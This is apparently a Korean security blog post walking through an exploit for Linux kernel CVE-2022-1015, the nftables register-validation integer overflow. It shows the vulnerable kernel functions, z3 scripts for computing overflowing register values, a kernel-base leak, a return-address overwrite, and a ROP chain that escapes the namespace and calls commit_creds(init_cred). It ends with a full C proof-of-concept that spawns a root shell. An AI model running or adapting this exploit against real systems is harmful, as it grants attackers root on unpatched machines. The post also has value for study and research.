Logo
Overview

Linux Kernel Exploit: CVE-2022-1015

September 23, 2023
6 min read

1. Kernel Base Leak

int nft_parse_register_load(const structnlattr *attr,u8 *sreg,u32 len)
{
u32 reg;
int err;
reg = nft_parse_register(attr);
err = nft_validate_register_load(reg, len);
if (err < 0)
return err;
*sreg = reg;
return 0;
}

위 함수의 parse register에서 어떠한 연산을 통해 값을 받아온다.

static unsigned int nft_parse_register(const structnlattr *attr)
{
unsigned int reg;
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}

default 문에서 NFT_REG32_15 값을 초과하여 reg를 리턴시킬 수 있다.

이후에 nft_validate_register_load 함수에서 레지스터를 검증하며, 해당 로직은 우회 가능하다.

먼저, reg를 내가 원하는 값으로 리턴 시킬 수 있고, len도 조작 가능하다는 것을 참고하자.

static int nft_validate_register_load(enumnft_registers reg, unsigned int len)
{
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
return -EINVAL;
if (len == 0)
return -EINVAL;
if (reg * NFT_REG32_SIZE + len > sizeof_field(structnft_regs, data))
return -ERANGE;
return 0;
}

3번째 if문을 보면 reg에 NFT_REG32_SIZE()을 곱하므로 integer overflow로 범위 검사 우회가 가능하다.

또한 parse하는 구문에서 reg에 4가 뺄셈 연산된다.

static unsigned int nft_parse_register(const structnlattr *attr)
{
unsigned int reg;
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}

reg에 23을 넣었을 경우

#define NFT_REG_SIZE 16
#define NFT_REG32_SIZE 4
NFT_REG32_00 = 8

이므로, 23 + 16 / 4 이므로 19가 반환되어야 한다.

테스트

add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, 23, 0, 28, 0xFF);

0

입력값이 잘 들어가는 거 같다.

이제 integer overflow를 이용하여 범위 검사를 우회해보자

아까 말했듯이 NFT_REG32_15 값을 넘어서 reg를 넣을 수 있다.

이후에 reg 값을 가지고 곱셈을 하며, 이를 통해 integer overflow가 가능하다.

if (reg * NFT_REG32_SIZE + len > sizeof_field(structnft_regs, data))
return -ERANGE;

여기서 쓰이는 sizeof_field(structnft_regs, data))는 항상 0x50이 들어오는 것 같다.

gdb로 확인하였을 때 항상 다음과 같이 들어온다.

1

integer overflow 이후에 조건을 우회하여 최종적으로 sreg에 값을 넣기 위한 reg 값을 구하기 위해 방정식을 세워보자.

reg >= 0x3fffff00 (for Integer overflow)
reg = reg + 16 / 4 - 8
reg >= 1 * 16 / 4
len != 0
reg * 4 + len <= 0x50 (80)

2

reg에 0x3fffffd0, len에 0xff를 넣으면 integer overflow로 인해 0x3f만 남게 되므로 검사를 우회할 수 있게 된다.

이제 어떤 데이터가 leak 할만 한 가치가 있는지 살펴보자

위에서 조작한 sreg는 regs의 오프셋으로 들어간다.

이를 통해 oob read가 가능하다.

3

휴먼 에러 추가

처음에 룰 설정할 때 add_payload에서 offset 인자를 2로 줘야된다… 안 주면 nft_payload_set_eval 호출이 안된다…

static struct nftnl_rule *isolate_udp_pkt(uint8_t family, const char *table, const char *chain, const char *target_chain)
{
struct nftnl_rule *r = NULL;
r = nftnl_rule_alloc();
if (r == NULL)
{
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
// Extract protocol using meta
add_meta(r, NFT_META_L4PROTO, NFT_REG_1);
uint8_t udp_proto = IPPROTO_UDP;
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &udp_proto, sizeof(udp_proto));
// Extract source port using payload
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0, NFT_REG_1, 2, 2); //요기
// Compare source port to 12345
uint16_t port = htons(12345); // Convert port to network byte order
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &port, sizeof(port));
// Set verdict to jump to target chain if packet matches
add_verdict(r, NFT_GOTO, target_chain, NFT_REG_VERDICT);
return r;
}

qemu 여러번 껐다 키면서 계속 코드 영역에 속하는 친구들을 찾아 보면서 0xffffc90000003f10를 베이스를 구하는데 사용하기로 했다.

4

오프셋은 228이다.

5

머리가 안돌아가서 z3로 입력 값을 구했다.

from z3 import *
s = Solver()
reg = BitVec('reg', 64)
len = BitVec('len', 64)
s.add(ULE(len, 0xff))
s.add(UGE(len, 0xc0)) # 대충 좀 큰 친구 찾기
s.add(UGE((reg - 4) * 4 + len, 0x100000000))
s.add(ULE(reg, 0xffffffff))
s.add((reg - 4) & 0xff == 228)
s.add(ULE(((reg-4) * 4 + len) & 0xffffffff, 0x50))
sol = s.check()
if sol == sat:
print(s.model())
else:
print("unsat")

6

leak한 값 - kernel base = offset이다.

7

따라서 0xaa3f46이 오프셋이다.

커널 베이스는 다음과 같이 구한다.

kernel base = leak + offset

2. Overwrite rip

overwrite를 위한 rule을 세팅하기 위해 socket server를 하나 더 열었다.

이제 nft_payload_eval에 bp를 걸고 rip를 덮기 위한 친구를 찾아보자.

edit data는 순서를 반대로 바꿔서 확인해보았다.

valid 함수는 똑같은 함수를 사용하므로 똑같이 검사를 우회할 수 있다.

if (type == LEAK)
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, 1073741800, 0, 28, 192);
else if (type == OVERWRITE)
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, 0, 1073741800, 28, 192);

어떤 ret 주소를 참조하다가 죽는지 찾아보았다.

8

__napi_poll 함수의 ret가 변조되어 죽는다.

원래는 rsi가 덮히는 ret와의 오프셋을 계산해서 정확히 해당 ret 위치부터 값을 덮으려고 오프셋 연산 진행 후에,

위에 작성했던 z3 코드를 이용하여 구하려 했으나, leak 할 때 사용했던 값과 똑같이 나와서 그대로 사용했다!

offset = 0xe4

from z3 import *
s = Solver()
reg = BitVec('reg', 64)
len = BitVec('len', 64)
# len = BitVec('len', 64)
s.add(ULE(len, 0xff))
s.add(UGE(len, 0xc0))
s.add(UGE((reg - 4) * 4 + len, 0x100000000))
s.add(ULE(reg, 0xffffffff))
s.add((reg - 4) & 0xff == 0xe4)
s.add(ULE(((reg-4) * 4 + len) & 0xffffffff, 0x50))
sol = s.check()
if sol == sat:
print(s.model())
else:
print("unsat")

예쁘게 덮어보자.

memset(udpbuf_for_overwrite, 0x41, 8);

ret가 0x41414141…로 잘 덮인 것을 확인할 수 있다.

9

3. Getting a root

3.0 Summary

gadget을 찾을 때, ROPgadget은 정규표현식으로 찾으므로 실행할 수 없는 영역의 가젯들까지 출력된다.

따라서 gdb로 실제 가젯의 주소를 쳐보면서 실제 커널에 존재하고 접근할 수 있는 가젯인지 확인해야 한다.

ROP chain은 다음과 같이 구성될 것이다.

disable softirq interrupt bit
|
escape softirq context
|
switch_task_name_spaces(bpf_get_current_task(), &init_nsproxy)
|
commit_creds(&init_cred)
|
restore stack frame to __do_softirq (for normally exit)
|
return to do_softirq for return to user space
|
excute process /bin/sh

3.1 Escape irq context

패킷에 대한 처리는 softirq가 담당한다. 즉, ret가 덮인 이후에 발생되는 인터럽트는 softirq가 처리한다.

ROP 체인을 진행하기 전에, softirq context에서는 함수 호출이 제한된다.

해당 context에서는 함수 내부에서 interrupt를 호출하는 함수를 사용할 수 없기 때문에 softirq context에서 나와 syscall context로 가야한다.

먼저 익스플로잇의 안정성을 위해 cli 명령어를 통해 인터럽트 비트를 비활성화 해주도록 한다.

10

이후에 softirq의 escape 부분인 do_softirq의 마지막 부분으로 가서 softirq를 정상적으로 종료시키도록 한다.

11

3.2 Escape namespace

해당 시점에서는 namespace 안에 갇혀 있으므로 이를 탈출해줘야 real root를 얻을 수 있다.

따라서 rop chain을 통해 namespace를 init_ns로 변경해준다.

먼저 첫번째 인자를 bpf_get_current_task 함수로 현재 프로세스의 task 구조체를 가져와서 이를 switch_task_namespaces의 인자로 줘야하는데 mov rdi, rax; ret;로 딱 맞게 떨어지는게 없다.

따라서 mov rdi, raxret가 포함된 가젯 중에 쓸만한 것을 살펴보았다.

0xffffffff81625d74 : mov rdi, rax ; jne 0xffffffff81625d61 ; xor eax, eax ; ret

명령어는 내가 zf를 조작할 수 있으므로 점프를 무시하고 리턴시킬 수 있다.

12

해당 가젯을 사용하여 zf를 설정한 후에 리턴하도록 하였다.

13

14

rdi에 tsk를 성공적으로 가져왔으니 두번째 인자인 rsi에 init_nsproxy를 가져올 차례이다.

init_nsproxy는 .data 영역에 있으므로 이를 pop rsi로 가져왔다.

15

3.3 Call commit_creds

전역 변수로 선언된 init_creds를 pop rdi로 가져온 후에 commit_creds 함수를 호출하면 된다.

3.4 Back to main function

이후에 다시 do_softirq로 돌아가서 함수를 정상적으로 종료시켜야 한다.

rsp를 아래 위치로 옮겨서 pop rbp, ret를 진행해야 do_softirq가 실행되어 정상적으로 종료할 수 있다.

__do_softirq가 호출한 함수의 스택프레임이므로 사진의 위치로 rsp를 옮길 경우에 __do_softirq로 리턴된다.

따라서 진짜 __do_softirq의 스택프레임을 찾아서 rsp를 옮기면 된다.

16

commit_creds 함수가 리턴될 때 rsp는 다음과 같다.

17

rsp를 내린 후에, __do_softirq의 sfp를 pop rbp로 가져오고, 이후에 ret로 rip를 변경한다.

18

19

0xa0의 오프셋을 가진다.

rsp에 0x88을 더하고 pop, pop 이후에 rbp부터 값을 넣는 가젯을 선택했다.

20

8을 한번 더 더한 이유는 add 명령어로 넘어가면서 8이 더해지기 때문이다.

21

22

페이로드 길이 부족으로 rule을 다음과 같이 수정했다.

add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, 0, 0x3fffffca, 28, 0xe8);

23

오프셋은 0xc6이다.

24

전에 z3로 만들어둔 오프셋 계산기를 사용했다.

from z3 import *
s = Solver()
reg = BitVec('reg', 64)
len = BitVec('len', 64)
s.add(ULE(len, 0xff))
s.add(UGE(len, 0xf0))
s.add(UGE((reg - 4) * 4 + len, 0x100000000))
s.add(ULE(reg, 0xffffffff))
s.add((reg - 4) & 0xff == 0xc6)
s.add(ULE(((reg-4) * 4 + len) & 0xffffffff, 0x50))
sol = s.check()
if sol == sat:
print(s.model())
else:
print("unsat")

25

추가적으로 덮을 함수 선택을 잘 해야한다.

rsi로 덮기 때문에 스택프레임 끝쪽에 있는 함수의 ret부터 덮어버리면 돌아갈 함수 주소(do_softirq)까지 rop 체인으로 덮혀버린다.

해당 위치를 덮지 않기 위해서 ret를 변조시킬 함수 선택을 잘 해야한다.

이제 rbp가 do_softirq로 복구되므로 softirq의 검사를 모두 패스하고 main 함수로 돌아갈 수 있다.

3.5 Result

26

link_preview

https://drive.google.com/file/d/1408CV03X1JAqXtjPgusQockrtqkH6gF2/view?usp=sharing

3.6 Full PoC

#define _GNU_SOURCE
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <stddef.h>
#include "utils.h"
unsigned long kernel_base = 0;
char ROP_FLAG = 0;
typedef enum dst_type_enum
{
LEAK,
ROP,
} dst_type;
unsigned long payload_size = 0;
static struct nftnl_rule *isolate_udp_pkt(uint8_t family, const char *table, const char *chain, const char *target_chain, in_port_t dst_port)
{
struct nftnl_rule *r = NULL;
r = nftnl_rule_alloc();
if (r == NULL)
{
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
// Extract protocol using meta
add_meta(r, NFT_META_L4PROTO, NFT_REG_1);
uint8_t udp_proto = IPPROTO_UDP;
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &udp_proto, sizeof(udp_proto));
// Extract source port using payload
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0, NFT_REG_1, 2, 2);
uint16_t port = dst_port;
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &port, sizeof(port));
// Set verdict to jump to target chain if packet matches
add_verdict(r, NFT_GOTO, target_chain, NFT_REG_VERDICT);
return r;
}
static struct nftnl_rule *edit_udp_data(uint8_t family, const char *table, const char *chain, dst_type type)
{
struct nftnl_rule *r = NULL;
r = nftnl_rule_alloc();
if (r == NULL)
{
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
if (type == LEAK)
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, 1073741800, 0, 28, 192);
else if (type == ROP && ROP_FLAG == 1)
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, 0, 0x3fffffca, 28, 0xf0);
return r;
}
void install_rule_for_leak()
{
if (create_rule(isolate_udp_pkt(NFPROTO_IPV4, "filter_for_leak", "input", "leak", htons(11111))) == 0)
{
perror("error creating rule");
exit(EXIT_FAILURE);
}
if (create_rule(edit_udp_data(NFPROTO_IPV4, "filter_for_leak", "leak", LEAK)) == 0)
{
perror("error creating rule");
exit(EXIT_FAILURE);
}
}
void install_rule_for_overwrite()
{
if (create_rule(isolate_udp_pkt(NFPROTO_IPV4, "filter_for_overwrite", "input", "overwrite", htons(22222))) == 0)
{
perror("error creating rule");
exit(EXIT_FAILURE);
}
if (create_rule(edit_udp_data(NFPROTO_IPV4, "filter_for_overwrite", "overwrite", ROP)) == 0)
{
perror("error creating rule");
exit(EXIT_FAILURE);
}
}
void udp_client(char *buf, in_port_t port, dst_type type)
{
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
struct sockaddr_in server_addr =
{
.sin_family = AF_INET,
.sin_port = port,
.sin_addr.s_addr = inet_addr("127.0.0.1"),
};
if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
{
perror("connect");
exit(EXIT_FAILURE);
}
if (type == LEAK)
{
if (send(sockfd, buf, strlen(buf), 0) < 0)
{
perror("send");
exit(EXIT_FAILURE);
}
}
else
{
if (send(sockfd, buf, payload_size, 0) < 0)
{
perror("send");
exit(EXIT_FAILURE);
}
}
printf(" [-] sent udp packet %s\n", buf);
printf(" [-] sent udp packet to %d\n", ntohs(port));
close(sockfd);
}
void udp_server_for_leak(void *data)
{
int sockfd;
char buffer[1024];
struct sockaddr_in servaddr, cliaddr;
socklen_t len;
ssize_t n;
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket creation failed");
exit(EXIT_FAILURE);
}
memset(&servaddr, 0, sizeof(servaddr));
memset(&cliaddr, 0, sizeof(cliaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(11111);
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if (bind(sockfd, (const struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
len = sizeof(cliaddr);
n = recvfrom(sockfd, buffer, 1024, 0, (struct sockaddr *)&cliaddr, &len);
printf(" [-] recv udp packet length : %d\n", n);
if (n <= 0)
{
perror("recvfrom");
exit(EXIT_FAILURE);
}
buffer[n] = '\0';
printf(" [-] recv data : ");
for (int i = 0; i < n; i++)
{
printf("%02x ", (unsigned char)buffer[i]);
}
printf("\n");
if (n >= sizeof(unsigned long))
{
unsigned long leak = *(unsigned long *)buffer;
kernel_base = leak - 0xaa3f46;
printf(" [-] leak data : 0x%lx\n", leak);
printf(" [-] kernel base address : %p\n", kernel_base);
}
close(sockfd);
}
void do_rop()
{
unsigned long buf[128];
unsigned long native_irq_disable = kernel_base + 0x8f5b0;
unsigned long __do_softirq_escape = kernel_base + 0x100017e;
unsigned long pop_rdi_ret = kernel_base + 0x65ca3c;
unsigned long pop_rsi_ret = kernel_base + 0x11c051;
unsigned long mov_rdi_rax_ret = kernel_base + 0x625d74;
unsigned long cmp_dh_ret = kernel_base + 0x279772;
unsigned long init_ns_proxy = kernel_base + 0x1e8a060;
unsigned long bpf_get_current_task = kernel_base + 0x217de0;
unsigned long switch_task_namespaces = kernel_base + 0xe5c80;
unsigned long init_cred = kernel_base + 0x1e8a2a0;
unsigned long commit_creds = kernel_base + 0xe74a0;
unsigned long add_rsp_0x88_p_p_p_r = kernel_base + 0x3266aa;
printf("[+] do ROP\n");
printf(" [-] native_irq_disable : %p\n", native_irq_disable);
printf(" [-] __do_softirq_escape : %p\n", __do_softirq_escape);
printf(" [-] pop_rdi_ret : %p\n", pop_rdi_ret);
printf(" [-] pop_rsi_ret : %p\n", pop_rsi_ret);
printf(" [-] mov_rdi_rax_ret : %p\n", mov_rdi_rax_ret);
printf(" [-] cmp_dh_ret : %p\n", cmp_dh_ret);
printf(" [-] init_ns_proxy : %p\n", init_ns_proxy);
printf(" [-] bpf_get_current_task : %p\n", bpf_get_current_task);
printf(" [-] switch_task_namespaces : %p\n", switch_task_namespaces);
printf(" [-] init_cred : %p\n", init_cred);
printf(" [-] commit_creds : %p\n", commit_creds);
printf(" [-] add_rsp_0x88_p_p_p_r : %p\n", add_rsp_0x88_p_p_p_r);
memset(buf, 0x41, sizeof(buf));
int i = 0;
buf[i++] = native_irq_disable; // cli ; ret
buf[i++] = __do_softirq_escape; // last part of __do_softirq
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = 0xAAAAAAAAAAAAAAAA; // dummy
buf[i++] = bpf_get_current_task; // rax, QWORD PTR gs:0x1fbc0 ; ret
buf[i++] = cmp_dh_ret; // cmp dh, dh ; ret
buf[i++] = mov_rdi_rax_ret; // mov rdi, rax ; jne 0xffffffff81625d61 ; xor eax, eax ; ret
buf[i++] = pop_rsi_ret; // pop rsi ; ret
buf[i++] = init_ns_proxy; // init_nsproxy's address
buf[i++] = switch_task_namespaces; // switch_task_namespaces's address
buf[i++] = pop_rdi_ret; // pop rdi ; ret
buf[i++] = init_cred; // init_cred's address
buf[i++] = commit_creds; // commit_creds's address
buf[i++] = add_rsp_0x88_p_p_p_r; // add rsp, 0x88 ; pop rbx ; pop r12 ; pop rbp ; ret
payload_size = sizeof(buf);
udp_client(&buf, htons(22222), ROP);
}
void udp_server_for_rop(void *data)
{
int sockfd;
char buffer[1024];
struct sockaddr_in servaddr, cliaddr;
socklen_t len;
ssize_t n;
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket creation failed");
exit(EXIT_FAILURE);
}
memset(&servaddr, 0, sizeof(servaddr));
memset(&cliaddr, 0, sizeof(cliaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(22222);
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if (bind(sockfd, (const struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
len = sizeof(cliaddr);
n = recvfrom(sockfd, buffer, 1024, 0, (struct sockaddr *)&cliaddr, &len);
printf(" [-] recv udp packet length : %d\n", n);
if (n <= 0)
{
perror("recvfrom");
exit(EXIT_FAILURE);
}
buffer[n] = '\0';
printf(" [-] recv data : ");
for (int i = 0; i < n; i++)
{
printf("%02x ", (unsigned char)buffer[i]);
}
printf("\n");
close(sockfd);
}
int main(int argc, char *argv[])
{
if (argc == 2)
ROP_FLAG = 1;
ROP_FLAG = 1; // always do rop
int tid_for_leak, status_for_leak;
pthread_t p_thread_for_leak;
unsigned char udpbuf_for_leak[512] = {
0,
};
int tid_for_overwrite, status_for_rop;
pthread_t p_thread_for_rop;
unsigned char udpbuf_for_rop[512] = {
0,
};
memset(udpbuf_for_leak, 0x41, 512);
new_ns();
system("ip link set lo up");
printf("[+] Leak kernel base address\n");
printf(" [-] install udp server\n");
tid_for_leak = pthread_create(&p_thread_for_leak, NULL, udp_server_for_leak, (void *)udpbuf_for_leak);
if (tid_for_leak < 0)
{
perror("thread create error : ");
exit(0);
}
tid_for_overwrite = pthread_create(&p_thread_for_rop, NULL, udp_server_for_rop, (void *)udpbuf_for_rop);
if (tid_for_overwrite < 0)
{
perror("thread create error : ");
exit(0);
}
printf(" [-] setup nftables\n");
if (create_table(NFPROTO_IPV4, "filter_for_leak", false) == 0)
{
perror("error creating table");
exit(EXIT_FAILURE);
}
if (create_chain("filter_for_leak", "input", NF_INET_LOCAL_IN) == 0)
{
perror("error creating chain");
exit(EXIT_FAILURE);
}
if (create_chain("filter_for_leak", "leak", 0) == 0)
{
perror("error creating chain");
exit(EXIT_FAILURE);
}
if (create_table(NFPROTO_IPV4, "filter_for_overwrite", false) == 0)
{
perror("error creating table");
exit(EXIT_FAILURE);
}
if (create_chain("filter_for_overwrite", "input", NF_INET_LOCAL_IN) == 0)
{
perror("error creating chain");
exit(EXIT_FAILURE);
}
if (create_chain("filter_for_overwrite", "overwrite", 0) == 0)
{
perror("error creating chain");
exit(EXIT_FAILURE);
}
install_rule_for_leak();
install_rule_for_overwrite();
printf(" [-] send & recv udp packet\n");
usleep(1000);
udp_client(udpbuf_for_leak, htons(11111), LEAK);
pthread_join(p_thread_for_leak, (void **)&status_for_leak);
do_rop();
pthread_join(p_thread_for_rop, (void **)&status_for_rop);
if (ROP_FLAG == 1)
{
printf("[+] Popping root shell!\n");
system("/bin/sh");
}
return 0;
}